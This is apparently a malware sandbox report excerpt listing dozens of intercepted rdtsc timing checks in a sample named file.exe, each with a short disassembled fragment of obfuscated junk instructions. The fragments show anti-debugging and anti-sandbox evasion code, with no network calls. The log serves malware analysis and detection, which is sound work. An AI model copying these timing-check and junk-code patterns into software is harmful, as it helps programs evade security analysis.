Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D450 second address: C5D49A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75305h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF624C75304h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FF624C75301h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D49A second address: C5D49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5D49E second address: C5D4A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5EC9A second address: C5ECA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C800F0 second address: 4C800F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C800F4 second address: 4C801A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF624B4E7E4h 0x00000010 sbb esi, 457E0F98h 0x00000016 jmp 00007FF624B4E7DBh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007FF624B4E7E8h 0x00000022 or al, FFFFFFF8h 0x00000025 jmp 00007FF624B4E7DBh 0x0000002a popfd 0x0000002b popad 0x0000002c call 00007FF624B4E7E8h 0x00000031 movzx eax, dx 0x00000034 pop edi 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 mov di, AA6Eh 0x0000003c mov esi, ebx 0x0000003e popad 0x0000003f xchg eax, ebp 0x00000040 jmp 00007FF624B4E7E1h 0x00000045 mov ebp, esp 0x00000047 jmp 00007FF624B4E7DEh 0x0000004c pop ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jmp 00007FF624B4E7DDh 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C801A9 second address: 4C801AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C801AE second address: 4C801BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EE7 second address: 4C60EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C752FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EF9 second address: 4C60EFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60EFD second address: 4C60F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movzx esi, di 0x0000000d jmp 00007FF624C752FFh 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FF624C752FBh 0x0000001f xor cl, FFFFFFDEh 0x00000022 jmp 00007FF624C75309h 0x00000027 popfd 0x00000028 mov dx, si 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40100 second address: 4C40105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40105 second address: 4C40139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF624C752FDh 0x0000000a adc cl, FFFFFFD6h 0x0000000d jmp 00007FF624C75301h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dh, D5h 0x0000001c mov bx, si 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40139 second address: 4C401A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 1CA73BC2h 0x00000008 mov ebx, 76B1520Eh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 movzx esi, di 0x00000015 jmp 00007FF624B4E7E7h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c jmp 00007FF624B4E7E6h 0x00000021 mov ebp, esp 0x00000023 jmp 00007FF624B4E7E0h 0x00000028 push dword ptr [ebp+04h] 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FF624B4E7DAh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401A0 second address: 4C401A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401A4 second address: 4C401AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401AA second address: 4C401E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF624C752FCh 0x00000009 and eax, 249DD548h 0x0000000f jmp 00007FF624C752FBh 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push dword ptr [ebp+0Ch] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF624C752FBh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401E1 second address: 4C401E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401E7 second address: 4C401EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C401EB second address: 4C401EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4022E second address: 4C4023E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C752FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C4023E second address: 4C40242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40242 second address: 4C40257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF624C752FAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C40257 second address: 4C4025D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CB0 second address: 4C60CB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CB4 second address: 4C60CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CB8 second address: 4C60CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60CBE second address: 4C60CE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 1D6ACFE1h 0x00000008 mov edx, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF624B4E7E4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60822 second address: 4C6085C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF624C75302h 0x00000013 add si, 9398h 0x00000018 jmp 00007FF624C752FBh 0x0000001d popfd 0x0000001e mov ebx, esi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606EC second address: 4C606F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606F0 second address: 4C60703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60703 second address: 4C60749 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 920Ah 0x00000007 pushfd 0x00000008 jmp 00007FF624B4E7DBh 0x0000000d adc eax, 565C98AEh 0x00000013 jmp 00007FF624B4E7E9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF624B4E7DDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60749 second address: 4C60776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75301h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF624C75303h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60776 second address: 4C60793 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60793 second address: 4C607A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C752FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C607A3 second address: 4C607A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C604A5 second address: 4C604B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7039E second address: 4C703A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80488 second address: 4C804A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804A3 second address: 4C804CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FF624B4E7DDh 0x0000000f mov eax, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF624B4E7DDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804CC second address: 4C804D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 2612h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804D5 second address: 4C804F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 and dword ptr [eax], 00000000h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF624B4E7E1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804F4 second address: 4C804FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C804FA second address: 4C80549 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF624B4E7DAh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FF624B4E7DBh 0x0000000f xor si, AB6Eh 0x00000014 jmp 00007FF624B4E7E9h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d and dword ptr [eax+04h], 00000000h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF624B4E7DDh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80549 second address: 4C80565 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF624C75307h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80565 second address: 4C80575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov bh, 99h 0x0000000d push esi 0x0000000e pop edx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80575 second address: 4C8058B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C75302h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60626 second address: 4C6062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6062A second address: 4C60645 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75307h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C60645 second address: 4C6066E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, E9h 0x00000005 mov ah, F5h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007FF624B4E7E5h 0x00000013 pop esi 0x00000014 mov dx, ACC4h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C6066E second address: 4C606AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d call 00007FF624C752FEh 0x00000012 movzx ecx, di 0x00000015 pop edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 movzx ecx, dx 0x0000001c popad 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF624C752FEh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606AC second address: 4C606B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C606B2 second address: 4C606B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80008 second address: 4C8000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8000C second address: 4C80023 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80023 second address: 4C80053 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007FF624B4E7DAh 0x00000010 mov dword ptr [esp], ebp 0x00000013 pushad 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF624B4E7E0h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80053 second address: 4C80062 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C80062 second address: 4C8007A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C8007A second address: 4C80096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a call 00007FF624C752FDh 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C802C0 second address: 4C802D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0673 second address: 4CA0679 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0679 second address: 4CA06FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF624B4E7E4h 0x00000013 adc ecx, 7D0E5B08h 0x00000019 jmp 00007FF624B4E7DBh 0x0000001e popfd 0x0000001f mov bh, al 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 mov si, 7D77h 0x00000028 jmp 00007FF624B4E7DCh 0x0000002d popad 0x0000002e xchg eax, ebp 0x0000002f jmp 00007FF624B4E7E0h 0x00000034 mov ebp, esp 0x00000036 jmp 00007FF624B4E7E0h 0x0000003b xchg eax, ecx 0x0000003c pushad 0x0000003d mov si, D99Dh 0x00000041 mov cx, 7299h 0x00000045 popad 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA06FE second address: 4CA070E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA070E second address: 4CA07CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF624B4E7E4h 0x00000011 sub ecx, 3D890488h 0x00000017 jmp 00007FF624B4E7DBh 0x0000001c popfd 0x0000001d mov edx, eax 0x0000001f popad 0x00000020 mov eax, dword ptr [76FB65FCh] 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FF624B4E7E0h 0x0000002c or ch, FFFFFFE8h 0x0000002f jmp 00007FF624B4E7DBh 0x00000034 popfd 0x00000035 pushfd 0x00000036 jmp 00007FF624B4E7E8h 0x0000003b sbb cl, 00000048h 0x0000003e jmp 00007FF624B4E7DBh 0x00000043 popfd 0x00000044 popad 0x00000045 test eax, eax 0x00000047 jmp 00007FF624B4E7E6h 0x0000004c je 00007FF696DE198Ch 0x00000052 pushad 0x00000053 push ecx 0x00000054 mov di, D7C0h 0x00000058 pop edi 0x00000059 push ecx 0x0000005a push ebx 0x0000005b pop eax 0x0000005c pop edi 0x0000005d popad 0x0000005e mov ecx, eax 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA087E second address: 4CA08A8 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 mov edx, 0729C2C4h 0x0000000d pop edi 0x0000000e popad 0x0000000f ret 0x00000010 nop 0x00000011 push eax 0x00000012 call 00007FF628F95B8Dh 0x00000017 mov edi, edi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c call 00007FF624C75304h 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08A8 second address: 4CA08E7 instructions: 0x00000000 rdtsc 0x00000002 mov bx, A6B6h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FF624B4E7E7h 0x0000000d mov dx, cx 0x00000010 pop eax 0x00000011 popad 0x00000012 push edx 0x00000013 jmp 00007FF624B4E7E0h 0x00000018 mov dword ptr [esp], ebp 0x0000001b pushad 0x0000001c mov di, cx 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08E7 second address: 4CA08F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08F5 second address: 4CA08FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA08FB second address: 4CA0901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50099 second address: 4C500A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C500A8 second address: 4C5010A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 1C67AC0Ah 0x00000008 pushfd 0x00000009 jmp 00007FF624C752FBh 0x0000000e or eax, 5FC492AEh 0x00000014 jmp 00007FF624C75309h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d and esp, FFFFFFF8h 0x00000020 jmp 00007FF624C752FEh 0x00000025 xchg eax, ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF624C75307h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5010A second address: 4C5010F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5010F second address: 4C50166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, 9E88h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FF624C752FEh 0x00000011 xchg eax, ecx 0x00000012 jmp 00007FF624C75300h 0x00000017 xchg eax, ebx 0x00000018 pushad 0x00000019 mov di, cx 0x0000001c mov dh, al 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007FF624C75304h 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FF624C752FAh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50166 second address: 4C5016A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5016A second address: 4C50170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50170 second address: 4C50221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, dx 0x00000006 mov dx, D9BCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebx, dword ptr [ebp+10h] 0x00000010 jmp 00007FF624B4E7DBh 0x00000015 xchg eax, esi 0x00000016 pushad 0x00000017 pushad 0x00000018 call 00007FF624B4E7E2h 0x0000001d pop esi 0x0000001e mov ch, bh 0x00000020 popad 0x00000021 push eax 0x00000022 mov al, dh 0x00000024 pop esi 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FF624B4E7E0h 0x0000002e sbb ax, 6A68h 0x00000033 jmp 00007FF624B4E7DBh 0x00000038 popfd 0x00000039 call 00007FF624B4E7E8h 0x0000003e pushfd 0x0000003f jmp 00007FF624B4E7E2h 0x00000044 adc esi, 760667F8h 0x0000004a jmp 00007FF624B4E7DBh 0x0000004f popfd 0x00000050 pop ecx 0x00000051 popad 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FF624B4E7E2h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50221 second address: 4C50233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C752FEh 0x00000009 rdtsc
